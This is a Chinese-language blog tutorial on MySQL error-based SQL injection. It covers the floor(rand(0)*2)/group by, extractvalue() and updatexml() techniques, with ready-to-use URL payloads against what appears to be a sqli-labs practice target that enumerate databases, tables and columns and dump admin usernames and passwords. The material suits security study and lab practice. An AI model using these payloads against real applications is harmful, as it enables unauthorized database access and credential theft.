报错注入【持续更新】

MySQL - floor()报错注入

floor()报错注入中涉及到:

  rand()

  count()

  group by()

 

payload:

  and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句

注:

  1. 需要注意的是该语句将输出字符长度限制为64个字符
  2. count(*) 这个函数返回被查询对象的行数,例如select count(*) from XXDB.XXTable..则返回XXTable这张表的行数。
  3. rand(0),rand函数本身是返回0~1之间的随机数,加了0后就变成伪随机数了,0作为种子参与随机数的生成,导致随机数可预测,每次生成的值都一样。
  4. floor(rand(0)*2):floor() 返回小于等于括号内值的最大整数。因为rand() 是返回 0 到 1 之间的随机数,那么乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1
  5. 简单理解就是,要用rand(0)才能每次都报错,如果用rand()则不一定每次都报错,就需要多执行几次了。

 

精简payload:

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

payload是要插入执行的SQL语句

具体应用如下:(部分语句使用的是concat,部分用的distinct concat,后者是用来去重的)

/*数据库版本*/

192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

/*连接用户*/

192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

/*连接数据库*/
192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

/*暴库*/
192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

/*暴表*/
192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

/*暴字段*/
192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+     注:distinct concat()用来去重    注意0x61646D696E为admin的十六进制编码,如果没有这张表就换个别的表名,转换成16进制,前面记得加0x

/*暴内容*/
192.168.10.137/Less-5/?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

  注:上面标记的admin是表,username和password是字段,这三个需要根据实际情况进行修改。

 

 

 

MySQL - extractvalue报错注入

函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为  连接  参数产生的字符串。


 

payloaod:

  and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));

 extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。

 

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 


PS:高版本的mysql已经修复了该bug

先丢出payload:

and updatexml(1,concat(null,(select @@version),null),1);

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

我们要学习的便是mysql里的修改函数即updatexml函数

其实也有extractvalue注入  以后的文章再做介绍。

先来做如下操作:

 执行一下报错payload:

  and updatexml(1,concat(null,(select @@version),null),1);

updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。

updatexml的最大长度是32位的,所以有所局限(PS:但是应对大多的已经足够。)

如果密码长度超过了32位就不会被显示出来。

 

posted @ 2020-02-10 21:35  rebootORZ  阅读(64)  评论(0编辑  收藏  举报